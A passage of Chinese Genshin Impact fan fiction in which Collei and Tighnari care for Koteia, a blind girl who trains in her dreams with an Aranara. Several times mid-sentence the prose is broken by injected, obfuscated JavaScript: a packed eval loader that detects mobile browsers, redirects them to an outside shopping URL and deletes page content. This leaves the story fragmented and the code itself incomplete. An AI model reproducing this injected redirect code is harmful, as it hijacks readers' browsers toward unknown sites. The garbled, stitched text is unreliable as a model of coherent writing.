柯莱似是不经意地抬起另一只手,衣服的袖管向上移动,隐约露出锻炼得很好的一看就很有爆发力的薄肌。 提纳里师父擅长使用弓箭,在雨林之中弓箭比剑来得好用。在过去魔麟病没有发作的时候,柯莱跟着提纳里修习了一手箭术,直到现在也没有落下。由于常年练箭和具有长期在雨林中巡逻的经历,仍是少年少女外表的提纳里和柯莱虽然看上去不会给人以健壮之感,但只要撸起袖子,是个人都能看出他们不好惹。 没有事情发生,柯莱得以带着你安全地回到住处。不知道是不是错觉,在即将抵达住处的最后一个拐角的时候,柯莱听到空气中传来一声似有若无的冷嗤,回过头去看只看到一顶远去的具有金属质感的大帽子。 * 曾经的正机之神、现在的因论派学者阿帽先生,在尾随一个少女和小女孩到目的地后拉了拉自己标志性的大帽子便头也不回地走了。 阿帽先生今天的计划原本是在咖啡馆里继续写自己的论文,然后就在一个抬头间看到了对面饭店里被喂饭的珂缇娅。 答应了须弥之神会保卫须弥的阿帽一声不吭地臭着脸改变了自己的计划,精致的眉眼上满是对自己要干的活又多了的不爽。 那位巡林官真是昏了头了,不是什么感知敏锐的“巴螺迦修那”吗?竟然不加任何措施地放任一颗人形炸弹在须弥城中行走。看在柯莱还是个学生的份上,把这笔账算在了提纳里头上的、看着提纳里面色如常把珂缇娅和柯莱接进去的阿帽对提纳里做出了这样刻薄的评价。 对自己有着明确的败者被收编的打工定位,阿帽判断珂缇娅一时半会儿还不会把整座须弥城都炸上天之后选择了把这件事汇报给须弥的小草神纳西妲。 “嗯,原来是这样吗?不过别担心,这件事我是知道的哦。”孩童模样的象征智慧的神明这样说:“不用太紧张,说不定这件事和炮弹被装进炮筒、最后炸出来的是好看的烟花一样呢。” 年幼的尚且年满五百岁的纳西妲在心里默念珂缇娅的名字,她记得这个小女孩,在她尚且被教令院囚禁的时候,在她自卑地怀疑自己的能力不够才会有这样的结果的时候,在她即便是身处这样境地仍然造访雨林中残存的信徒与沙漠子民的梦境、为他们带去一丝安宁的时候,她曾听到一个坚定的呼唤:“小吉祥草王大人啊!请你保佑我的孩子顺利降生吧!” 这是来自一位路过死域、即使匆忙撤离但还是被死域侵入身体导致动了胎气的母亲的呼唤。 死域,是世界的病灶。而她只是一个弱小的神明,被囚禁的尚未被旅行者拯救的纳西妲悲伤地这样想。 但魔神爱人,爱人是魔神的本能。不同于有的魔神爱人是指把陆地上的人类拖进水里的强硬的爱,不同于有的魔神拉着祂的子民沉沦在梦中的窒息的爱,这位自诩月亮而没有须弥曾经的神明大慈树王如太阳般的光芒的小吉祥草王大人对人的爱如月光般温柔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949969|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身陷囚笼的纳西妲拜托自己的眷属兰那罗为这位母亲捎去一缕神明的力量,她满怀歉意地想,自己只能做到这种地步了。 希望这缕神明的力量能发挥它的作用压制死域的影响,希望这位母亲和她的孩子都能平安。 可能是力量真的发挥了作用,也可能是幸运过了头,纳西妲最后得到了这位母亲满是欢喜的感激:“敬爱的小吉祥草王大人!感谢您的保佑,珂缇娅平安地来到了这个世界上。” 珂缇娅,端坐于牢笼的纳西妲默念这个名字,“鲜花与珠宝”,愿你的人生如鲜花般灿烂,对你的父母来说如珠如宝的小女孩。小吉祥草王露出浅浅的笑容,似乎此刻分享了一丝他们满溢于心的喜悦。 回到现在,纳西妲对面前听了她的话后双手抱胸的阿帽笑了笑:“不过,也还是很感谢阿帽特意来把这件事告诉我哦。嗯,论文还是要按时交的。”为什么阿帽没有感觉到自己的力量呢?确认自己存于珂缇娅体内的力量没有消失的纳西妲有些好奇。 不过现在,还是把时间交给珂缇娅和提纳里他们好好磨合吧。这样想着,纳西妲弯了弯那双印着四叶草印的翠绿的眼睛。 “啰嗦,我的事情自然不用你来操心。没什么事就先走了。”好心主动履行职责却被点论文的阿帽撂下这样的话就跑路了。 * “麻烦你了赛诺,到了化城郭安顿好这孩子后我会把她的相关情况寄书信给你的。”分别前,提纳里向赶在上班前的一点时间来送别的赛诺说道。 而赛诺对提纳里的话点了点头,看向在柯莱去拿早餐的间隙都差点被人骗掉摩拉的珂缇娅,正义的赛诺最终说出了这番话:“如果以后遇到麻烦,你还是可以来找风纪官的。毕竟,风纪官就像沙漠中的赤念花一样,只有五片,绝无七片(欺骗)!” 一时之间,鸦雀无声,只能听到冷风吹过的声音。 7. 须弥篇-7 不知道过了多久,你能感觉到温度明显变低,空气也似乎变得清新起来。 这里就是化城郭吗?你若有所觉地抬起头,什么也看不到。 “这不是提纳里吗?带着小柯莱采购回来了啊。”一个听着就很憨厚的声音响起。 “提纳里,欢迎回来!”这个声音听着有点过于热情了,让你瞬间联想到狗狗看着骨头的表情。 “提纳里,我家那小子就拜托你多照顾一点了。”这个是家长托付家中后辈的。 …… 听到最后,你感觉自己的脑瓜子里只剩下了“提纳里”这三个字。 真可怕啊这家伙,你露出心有戚戚然的表情,能让别人这么信任,能一回来就这么多人打招呼,一定是个很有号召力的人吧。 实话说,你感觉自己之前的人生里都没听到过这么多人的声音。 你决定要稍微讨好一下提纳里,初来乍到,这个就是你要拜的山头。嗯,那要怎么称呼他呢?直接叫“提纳里”吗?可是你都叫柯莱“柯莱姐姐”的,他还是柯莱姐姐的师父。那要叫“提纳里师爷”吗?可你也不确定自己是不是柯莱姐姐的徒弟。 你的脑海里闪过一大堆称呼,最后脑海里出现的是提纳里走在中间,两边的人都在热情地向他打招呼,最后提纳里带着乌泱泱的一大群人去巡山。 嗯,感觉很符合现实的样子。你露出肃穆的表情肯定地点了点头。 * 被珂缇娅“山大王”化的提纳里现在有些头疼。 首先,他这次只是离开了几天,不是几年。不需要这么多人来迎接他。 其次,虽然他的发色是黑中带有几缕绿挑染,而珂缇娅的头发也是黑色的,但是用那种眼神在他和珂缇娅之间来回移动最后露出恍然大悟的“这一定是提纳里的孩子!”的表情还是有点过分了。 最后,他有着一双狐狸般的大耳朵,这句话的意思是他的听觉很敏锐。所以现在这副场面对提纳里来说不亚于三百只鸭子同时引吭高歌。 一时之间提纳里也分不清究竟是留在须弥城听赛诺的冷笑话更好还是回到化城郭接受大家的热情更好。一个是迫害他的精神,一个是迫害他的耳朵,他非在这两个之间选不可吗?!想到这里,提纳里露出痛苦的表情。 不过也不是全然没有好的地方,提纳里欣慰地想,起码大家没有直接当着珂缇娅的面问为什么带她回来。虽然和赛诺是朋友,但提纳里怎么想都觉得对他来说当着别人的面血淋淋地揭开别人的伤疤这件事对他来说还是太难了些,尽管他也知道赛诺那时的做法无可指摘,不挑破脓包伤口就无法痊愈。还好,现在不是那种情况。 等珂缇娅睡着了,就和大家说明珂缇娅的情况吧。 * 本性内向的柯莱跟在提纳里师父后面大气不敢喘。 大家……都好热情。柯莱握着珂缇娅的手不由紧了紧。 等到大家散去,提纳里和柯莱领着珂缇娅来到他们的木屋里,柯莱才长舒了一口气。 “珂缇娅,你以后就跟我一起睡吧。”放松下来的柯莱热情地向珂缇娅发出了同居邀请。 一想到以后她可以搂着香香软软的珂缇娅睡觉,柯莱的眼睛都亮了起来。 看不到柯莱发亮的眼眸,只能听到柯莱莫名激动的声音,珂缇娅露出了呆呆的表情:“欸?”她吗? 一旁看着的提纳里无奈扶额,他就知道。 原本腼腆的柯莱见了珂缇娅总是感性占了上风,提纳里从没想过有一天他会觉得柯莱像一只没有牵绳一路狂奔的狗子;而珂缇娅对柯莱明显还是有好感的陌生人,还没有很亲近。如果放任她们自己相处的话很有可能只要珂缇娅不拒绝,柯莱就不会觉得有问题一个劲地上头;而珂缇娅会因为初来乍到而能顺从就顺从,直到触碰底线。 这对她们来说都不是一件好事。提纳里叹了口气,他希望柯莱的人生能够更加有滋有味,也同样希望珂缇娅能健康成长。一时之间,原本就身负巡林官重任的提纳里觉得自己肩上的担子越发重了起来。 “柯莱,让珂缇娅自己选。珂缇娅,你怎么想的可以说出来。”提纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949970|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里对两人说道。 “欸……真的可以自己选吗?”身高才到柯莱大腿的黑发小女孩眨了眨眼睛。 见珂缇娅这样,柯莱的内疚之情油然而生,明明说了要好好照顾珂缇娅的,结果却没有考虑珂缇娅的想法。以后,一定要更稳重才行,柯莱在心里暗暗给自己打气。 “嗯,可以自己选哦。抱歉,没有考虑到珂缇娅自己的想法。”柯莱的手落在珂缇娅的脑袋上轻轻地揉了揉,见珂缇娅没有聚焦的眼睛一点一点亮起,她也情不自禁地弯了弯唇角。 * 你想过很多,比如说和柯莱一起睡?柯莱姐姐明显很喜欢你。或者要求和提纳里一起睡?近水楼台好拜山头。你知道这样做也许能让他们更喜欢你,你是因为他们的喜欢才被带到这里的。 如果他们不喜欢你的话,你会不会被丢掉?就像你曾经的老师所说,除了父母之外没有人会无条件地爱你,你得展现自己的“价值”。你的那位启蒙老师说,你已经很幸运了,起码你的爸爸妈妈是真的爱你,要知道并不是所有的父母都会爱自己的孩子。 当时的你听不明白那位老师的话,而那位老师也很快被你的爸爸妈妈赶走了。 现在,你的脑子里忽然闪过了那位曾经的老师的话。你现在好像有点明白,又似乎还是不明白,什么才算是你的“价值”? 你不明白。 你觉得柯莱之前直接让你一起睡的话你不是很喜欢,但你觉得她摸你的脑袋摸得很舒服。你觉得提纳里很厉害,他的话应该是可以相信的。 最后,你仰起小脸用小孩子还有些尖细的声音说:“我、我想自己睡。” 你得到了一个属于自己的房间。 “你房间的隔壁就是柯莱,如果有什么事情也可以来找我。”提纳里耐心地对你说,而柯莱正在勤快地给你收拾房间。 嗯,今晚就先让柯里安巴陪你睡好了,绿发少女把自己珍爱的玩偶放在你的床上,安柏有兔兔伯爵,她有柯里安巴,之后也给你做一个专门属于你自己的玩偶才行,柯莱这样想到。 8. 须弥篇-8 这就是你以后的新房间了,不出意外的话,你的大半人生应该都会在这里度过?这么一想就会觉得很奇妙。 你伸出手摸索着,什么都没有摸到。只见你抿了抿唇,一点一点地挪动步伐朝着一个方向走去,动作笨拙得像是刚出生没多久的企鹅宝宝。终于,你伸出的指尖碰到了冷硬的墙壁,随后手掌压实,你贴到了墙边。沿着一个方向,你贴着墙慢慢地移动,直到身体似乎与什么轻轻地撞上。 摸上去软软的,是你的床铺。 你成功坐到了床上。 这是你失明后第一个拥有自己独属房间的夜晚,也将是你第一个自己度过的夜晚——应该是夜晚?你分不清。 你在床上四处摸索,摸到了被子和枕头,还摸到了一个怪模怪样的软绵绵的玩偶。你把玩偶轻轻地抱进怀里,接着闭上眼睛,晚安啦,须弥。 * 黑发的小女孩睡去,看不到白萝卜样的生物越过房间窗户来到了她床边。 头上长有叶子、脸上两点眼睛、嘴巴向两边拉开、嘴角上扬、手上还提着一把小小拐杖的类人形生物迈着两条腿凑到珂缇娅身前,它看了看珂缇娅,又看了看,最后点头:“那菈,是这个,没有错。”确认珂缇娅的身份后,这个生物抬起拐杖点了点珂缇娅的额头,它化作一道白光,来到了珂缇娅的梦中。 - 传说神明都有着跟随他们步伐、践行他们意志的眷属,而须弥的草神的眷属是一种名为“兰那罗”的森之精灵。它们有着简笔画般的眼睛和嘴巴,有着自己特别的能力,心思纯净。一般来说只有充满童真的小孩子才能看到它们,等到小孩子失去童心变成了大人,就会再也看不到兰那罗,最后在回忆童年时甚至会怀疑兰那罗的存在。 来到珂缇娅身边的便是这样一只兰那罗。 - 珂缇娅的梦中一片漆黑,如同她眼中的世界。 在黑暗中,小女孩身边是两个看不出模样的人形光源,一个身上写了“柯莱”,另一个则写了“提纳里”。在她的身前,一对夫妻含笑看着她,随后身形慢慢淡去,几不可见。 “放心吧,爸爸妈妈,我会好好活下去的。”小女孩垂着脑袋对着那对夫妻说。 兰百梨迦迈着短短的腿走过去,听到了小女孩“兰那罗,是兰那罗!”的惊呼。 * 你在梦中前脚跟自己的父母道别,后脚就见到了一只兰那罗。 是的,你曾经见过兰那罗,那是一只名叫“兰利遮”的兰那罗,小小的,蓝蓝的,头顶开着一朵蓝色的花,腰间还佩着一把小小的木剑。你一度觉得兰利遮很可爱,给人的感觉很舒服,就像湖泊一般宁静而祥和。 第一次见面时,小小的兰利遮在你的窗台上荡秋千,发现你看向它时被吓得头顶的花飞速旋转,差点就飞走了。胆子小小的,也笨笨的,被你用一个果子就留了下来,你们还一起唱了歌。 那是一段很美好的回忆。 唯一美中不足的是你从此对兰那罗有了刻板印象,觉得它们都笨笨的,很容易就被人骗走。 回到现在,你面前的这只兰那罗身形很是壮硕,手中的拐杖看起来也打人很疼的样子。 你对兰那罗柔弱的印象被打破了。 更可怕的是,虽然知道这样想不太好,你的思路还是一路高歌猛进,最后变成了兰利遮回家找大人告状,现在它家里的大人要来捶你了。你告诉自己这么想是不对的!兰利遮不是这种坏兰那罗!可是除了兰利遮之外,你和其他兰那罗就没有交集了。 你:…… 这很坏了。曾经骗着兰利遮给自己当洋娃娃在它头上扎小辫子的你非常心虚。 “我是兰百梨迦,路过,来看看,被赐福的那菈。”面前的兰那罗言简意赅地自我介绍。 噢,那菈,很久没听过这个称呼了,你熟练地把它翻译成“人类”,一时之间很是为兰那罗似乎用的同一套语言系统而感动。 果然,爸爸妈妈说得对,每一份努力都有意义,那个下午和兰利遮鸡同鸭讲都是值得的! 看起来这只兰那罗不是来捶你的样子,你若无其事地向兰百梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949971|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迦问起兰利遮,兰利遮,不要让你失望啊!像它这样的兰那罗绝对不会和自己的同族处得不好的对吧!你狗狗祟祟地试图狐假虎威。 兰百梨迦告诉你兰利遮现在在桓那兰那进行修行。 桓那兰那,在家啊,你又悟了,估计是一边转着头顶的花四处飘一边唱歌吧。 真是普通又让人羡慕的生活啊,你摇头感叹,现在的你已经要为自己的生计考虑了,起码不能让人觉得养自己还不如不养。 须弥居,大不易,你发出叹息。 当然,你这种老气横秋的感叹没超过三秒就被你抛之脑后,转而兴冲冲地问面前的兰百梨迦平时都做些什么。 兰百梨迦是个好兰那罗,你为自己以貌取兰那罗的行为感到抱歉——你一问它就说,只能说不愧是兰利遮的同族呢!你悄悄地抬起了骄傲的尾巴。 你压抑住突如其来的想要赞美自己的智慧的冲动,专心听兰百梨迦分享它的生活,用它的话来说,就是在各个地方的“修行”。 听到兰百梨迦轻描淡写地说“大大的铁块不懂道理,兰百梨迦就让他们懂道理。”时,从兰百梨迦的描述中听出那个“大大的铁块”指的就是杀伤力惊人的会发射自动跟随炮弹的遗迹铁卫的你:哦、哦呼!你看向兰百梨迦的目光顿时充满了敬意。 兰百梨迦的话让你想起了一把名为“以理服人”的狼牙棒,那是你妈妈的武器,你们四处玩的时候妈妈就是扛着这个把那些拦路打劫的人都打得嗷嗷叫的。 可能兰百梨迦的拐杖就是它的“以理服人”吧。 由于你的捧场和兰百梨迦的有问必答,你们越聊越起兴,直到兰百梨迦冷不丁问你:“那菈的梦,为什么,黑黑的?”,周围的空气一下子变得死寂。 你盯着自己的脚尖不说话。 兰百梨迦就一直看着你等着你的回答。 半晌,你小声地开口:“因为我在现实中看到的就是黑的。如果梦里不是黑黑的话,我怕我就不想回去了。” 这样会让柯莱姐姐他们和天上的爸爸妈妈伤心的。 9. 须弥篇-9 你说了什么?你只是把自己的感受说了出来。 你不知道为什么对面的兰百梨迦听了你的话后陷入沉默,或者说是发呆? 过了一会儿,兰百梨迦用那张没有表情变化的脸看向你,手上提着的拐杖动了动:“那菈,跟我修行吧。”你听到兰百梨迦这样对你说。 “欸?!”你露出豆豆眼,话题,是怎么变成你要跟它修行的呢?你小小的脑袋想不明白。 “修行,可以变得强壮。走在路上,一个打十个。”充满强者风范的兰百梨迦说。 那一刻,你觉得说出这句话的兰百梨迦身形一下子变得无比高大。 你想到了妈妈挥着大剑在敌人中起舞的场景,你情不自禁地带入了自己,并且可耻地心动了:“可是、可是我看不见噢?这样子在现实中也能一个打十个吗?”你矜持地迈出试探的小脚脚。 对于你的问题,兰百梨迦挥挥手说这都不是事。 现在,兰百梨迦的背影会发光了,你满怀敬意地想。 随后,背影会发光的兰百梨迦抄起拐杖,说待会儿它会数三个数,数完之后它就要来揍你了。 你:??? 看着兰百梨迦实心的拐杖你大惊失色地拔腿就跑:不是、兰百梨迦,这就是你说的“修行”吗?兰百梨迦你说话呀兰百梨迦—— * 兰百梨迦听不懂你那“我本可以忍受黑暗,倘若我没有见过光明”的言下之意,在不服就干的兰百梨迦看来,怕?那就变强;还是很怕?那就变得更强。 兰百梨迦的信条是如此的朴实无华。 由于你说你怕,莫名喜欢你的兰百梨迦决定帮你变强。 害怕,不过是不愿意接受某个结局又无力阻止,立志守护整个桓那兰那的兰百梨迦就要让你掌握能改变那个结局的“力”。 害怕黑暗,就一次次地去适应黑暗;害怕失败,就一次次地站起来;讨厌那个弱小的自己,就努力让自己变得强大。 目前已经成为桓那兰那数一数二的兰那罗的兰百梨迦不会说那么多大道理,它只是知道,想,就去做。 为了让你变强,兰百梨迦不会手软。 就这样,你在梦里被兰百梨迦提着拐杖猛锤的充实生活拉开了序幕。 * “感觉珂缇娅最近好像放松了很多呢。”看着吨吨吨吃早餐和喝牛奶的珂缇娅,柯莱若有所思。 真好,今天的珂缇娅脸上的婴儿肥也肉嘟嘟的,注视着珂缇娅圆乎乎的小脸,柯莱心生骄傲之情,这样看来,她也是把珂缇娅养得很好的呢。 “嗯。这样看来,珂缇娅的识字可以提上日程了。”一旁的提纳里同样若有所思:“柯莱,到时就由你来教珂缇娅识字吧。”说着,他青玉色的眼眸扫过听到“识字”就开始汗流浃背的柯莱。 到现在都还时常翻看《提瓦特识字大全》的柯莱:…… ……为了珂缇娅……!好!决定了!以后钻被窝里看小说的时间都挪来研究怎么给珂缇娅上课好了! 一时之间,柯莱燃了起来,想到珂缇娅会乖乖坐在她身边听她讲课,她就觉得自己强得可怕。 在这段时间的相处中,柯莱已经逐渐摸清了珂缇娅的性格,如果要比作猫咪的话,珂缇娅一定是那种乖乖的可爱的但是很独立不粘人、强行上手还会哈气的小猫。在珂缇娅自身的意愿面前,柯莱遗憾地推迟了狂吸珂缇娅的计划,转而决定先拉近关系。 没错,计划没有取消,只是推迟。迟早有一天,她可以吸上香香软软的珂缇娅的!柯莱在心里握拳。 盲文的识字教材已经在路上了,要不要再多买几本童话书?感觉坐在珂缇娅的床头给珂缇娅读睡前故事也是很不错的体验呢。脑海里闪过许多念头,柯莱陷入了对美好生活的幻想。 * 现在,你的生活无比充实:白天,上午多半是提纳里和柯莱轮流教你盲文,拉着你的手去摸板子上凹凸不平的圆点,温声告诉你那些圆点是什么意思,代表了什么;下午则通常是你自己的练习时间,有时是复习上午的知识,有时是自己尝试着活学活用写一些句子。而到了夜晚,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949972|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处修行的兰百梨迦会入你的梦来指点你关于战斗的知识,这通常会变成兰百梨迦拐杖和你的亲密接触。在你被打得满头包的时候,你曾一度想把兰百梨迦的拐杖给偷了,直到你发现,拐杖打人那么疼的原因不是因为它是一根拐杖,而是因为用它的兰那罗是兰百梨迦。 你:哈哈,迟早把世界上所有的拐杖都折了。(无慈悲) 兰百梨迦是一位很好的兰那罗,你必须重申这一点,虽然他打你打的哐哐作响让你都不禁怀疑自己难不成是沙包转世,但兰百梨迦会给你放周末假,一周两天! 自从接受了兰百梨迦的训练,你在现实中虽说没有达到如履平地的程度,却也在迈开步伐时自信了很多,会有一种“啊,前面是墙。”“要左转了。”之类的感觉。 这种说法似乎比较唯心,但你们须弥都有神明了,这也不算什么。你成功地说服了自己。 这样下去,你有可能实现自己曾经的梦想吗?或者说,你还能去追寻自己的那个梦想吗? 你觉得自己在变得越来越好。所以那团心中自失明后便被狂风猛吹却坚持没有熄灭只是变得越来越小的火苗好像又要再度狂烈地燃烧。 我可以吗?你这样问自己。如果自己克服了内心的怯懦决定站起来却遭到了现实的否定的话,你还能再次站起来吗?你不确定。 但你可以试一试。你觉得现在的你可以去大胆地尝试。没有成功的话,就抱着柯莱姐姐哭一场好啦。你这样想。 你决定去找柯莱提出自己的想法,提出那一个你对于未来的梦想。 * 柯莱和提纳里在房间里讨论着什么,就听到了敲门声。敲门声不算大,只是轻轻地敲了两下,如同幼鸟探出脑袋轻轻蹭了蹭人的指尖。 一听就知道是珂缇娅。柯莱会心一笑。 拉开房门,柯莱把珂缇娅抱在怀里,高兴地宣布:“珂缇娅,我们要带你去春游啦。”听到这话,原本蛄蛹着想要从柯莱怀中下来的珂缇娅抬起脸露出了茫然的表情。 啊?春游?谁?她吗? 10. 须弥篇-10 由于你最近的精神状态转好,不像刚到化城郭时如同拉紧的随时都会崩断的弦一般,现在的你给人的感觉倒像是经过春雨的小草,吸饱了雨露后精神焕发。 恰好柯莱在刚结束了一篇论文、在开始下一篇论文之前的间隙获得了难得的没有论文和巡林等任务的假期,对你的状态很是欣慰的柯莱便决定带你去玩。 做出这个决定后,柯莱和提纳里惊觉你自来到化城郭之后就没在外面逛过!成了一个严格意义上的窝里蹲…… 柯莱认为,小孩子还是要多在外面转转的,不保持一定的运动量的话,生病了怎么办?那种身体软绵绵的脑子也一团浆糊的感觉很不好受的。她希望你无病无灾,平平安安、健健康康、快快乐乐地度过余生。 永远、都别再露出当初那种找不到家的神情了啊,小珂缇娅。她会陪着你的。 这边的柯莱陷入无限温情,那边的提纳里却是莫名地心虚。 提纳里,道成林的巡林官,在广袤的雨林中引领迷路的人回归正途、为误食菌子的人递来汤药、大事小事处理得没有差错。虽是少年样貌,已经赢得许多人的信服。就是这样的提纳里,一开始遇见了陌生的小女孩后因其身上的不祥气息而心生戒备,又在徒弟的恳求下合规合矩地把小女孩带回了住所。然后,被带回住所的小女孩没再出过房间。 听上去就是要被风纪官调查的程度,提纳里捂脸,他应该怎么解释自己没有限制你的行动、对你进行软禁的想法? 提纳里他,就只是很单纯的忘了而已,想到你的时候就会“哦,她今天的课业是这些,之前的作业记得检查。”就没了。是他没尽到监护人的职责,因为柯莱年龄不够而把你登记在自己名下的提纳里想。 而你对柯莱和提纳里的千般心绪都不知情,你只是觉得春游的提议有点莫名其妙,属于去也行、不去也行的范畴。 就这样,在柯莱的期待、提纳里的推波助澜和你的无所谓中,你们的第一次春游开始了。 * 这天没有下雨,太阳也并不猛烈,徐徐的微风吹在人的身上,人只觉得凉爽。是很适合出游的一天。 柯莱把提前做好的馅料充足的口袋饼装进行囊,提纳里为他悬挂在墙上的弓箭保养,而你…… 你被提纳里布置了篇记录这次春游的作文。在你凑过去问有什么要帮忙的时候,这只铁面无私的大狐狸给你记了篇作文就嫌你碍手碍脚把你发配到了柯莱身边,你用脸颊蹭了蹭柯莱的手,被柯莱摸了摸脑袋就往你的嘴里塞吃的。 本意是来帮忙的你:…… 出发前就填饱了肚子,也行? * 走在道成林里和待在化城郭里是不一样的感觉。 个子矮矮的黑发小女孩跟在绿发少女和黑发少年的身边,步伐从容,不认真看的话甚至看不出她的眼睛里没有映出面前的景象。 一行人优哉游哉。 路上,他们走走停停,偶尔绿发少女会拉过黑发小女孩的手,带着她去摸叶子和蘑菇,轻声为她讲解它们的特性,当少女卡壳,黑发少年便开口继续为小女孩讲解,并状似无意地说明这个知识点是在他给少女的那本教材、又是在第几页。 既然你已经无法用眼睛看到这个世界,那么就用你的双手、用你的其他感觉去拥抱这个世界。 - 幼嫩的掌心探出,细腻的指尖被带着去摸植株的枝条、枝条上的叶子、叶子上的绒毛、挂着的果实等。 你一一摸过。 原来是这种感觉。好神奇。你不知道这样的你在柯莱眼里就像是突然被喂了一口猫条、眼睛瞪得溜圆的可爱小猫,你只是把这些新的感觉,和他们口中提到的名词对应着。 香辛果的辛辣味道你不喜欢,但原来它的果子圆溜溜的,摸起来沙沙的。你想把它挖回去种在你的房间里。 你眼睛亮晶晶地提出这个建议。 柯莱答应了,不过她说:“植物是需要光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949973|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照和水的,把它带回去之后你要给它浇水、还要给它晒太阳哦。”这样,你的日常就会多一点运动量了吧。 你乖乖地点头,没有悟到背后柯莱的良苦用心。不过这有什么呢?柯莱很满意,你也很开心。 于是,你们要开始挖香辛草了,柯莱放进行囊里的物资刚好有一把折叠铲。这是柯莱考虑到现在这种情况而特意带上的。 你想着自己来挖,但柯莱皱着眉驳回了你的想法:“铲子铲到你的手或脚怎么办?”这确实是有可能的,你只是在兰百梨迦的训练下学会了正常地走路还有一些打架时闪避和逃跑的技巧,手上拿着铲子然后一铲下去把自己铲了这种事情也未尝不会发生。 而且你看不到,没铲着自己把香辛草从中间铲断了也有可能。考虑到这些,你从善如流地提出自己可以用手来挖,柯莱的眉头皱得更深,这段时间你的手都在摸着盲文的板子,正处于快要长好茧子的时常会觉得痒的敏感阶段,把手直接插进土里土里挖,到时还不得把你疼哭? 这位自己年幼时也曾摸爬滚打、挣扎着从死亡中爬出来的少女觉得这不可以。柯莱尊重你的意愿,但也同样对你抱有着保护欲。 你会很痛的,而这本来可以不发生。 不过如果由她先把土给铲松了、然后你再伸手挖倒是可以。柯莱提出了她的想法。 听了柯莱想法的你:…… 不是、铲都铲了,还有必要伸手挖吗?志在参与是吧?你满头问号。 对此,提纳里提出了他的意见:“或者说,我们可以回去用种子种香辛草?这样珂缇娅可以更细致地感受香辛草的生长过程,而你们也可以不用再思考要用什么挖。”不知道为什么,提纳里的声音听起来凉凉的。 哈哈,为什么呢,耳朵里满是你和柯莱争辩时不自觉提高的声音的提纳里也想知道:) …… 总之,在香辛草该用铲子来挖还是用手来挖的比赛中,提纳里杀死了比赛。 11. 须弥篇-11 就回去之后由提纳里提供种子、柯莱提供土壤、你负责种植的事情达成了一致,时间在讨论声中逐渐流失,你能感觉到周围的温度似乎有所提高,空气中弥漫着暖洋洋的气息。 到中午了吗?这样想着,你的耳边响起了柯莱分发午餐的动静。“珂缇娅吃这个吧,我特地包了多多的肉的。”随着柯莱的话语,一个分量敦实的口袋饼塞到了你的手里。 口袋饼是指在里面塞馅料的饼,一般来说肯放料的话都不会难吃到哪里去。而柯莱是个很实在的人,她的口袋饼一向用料充足;你还在长身体,自身需要也很喜欢吃肉。于情于理你都应该接下这个口袋饼。 然而,你摸了摸自己的肚子,早上去柯莱旁边蹭吃的之后,你到现在都还没有觉得饿。 于是你摆摆手拒绝了柯莱的投喂,趁着这段午饭的时光,也许你可以去散散步?等散完步回来你还能吃点东西。 最主要的是,自从眼睛看不见,你很难有自己一个人在外独处的时刻。你想要自己一个人四处逛逛,就像你以前还能看见的时候一样。经过兰百梨迦的教导,你想,你总不至于一头撞到树上的。 藏起自己的小心思,听到柯莱和提纳里吃口袋饼的咀嚼声,你抬起头露出自己乖巧的脸朝向柯莱的方向:“我想在附近逛一逛。” * 养了一段时间的逐渐开始展露自己脾性的小女孩朝自己脆生生地说她想在附近逛逛,正在吃东西的柯莱咽下口中的食物站起身来:“那我陪你四处走走吧。” 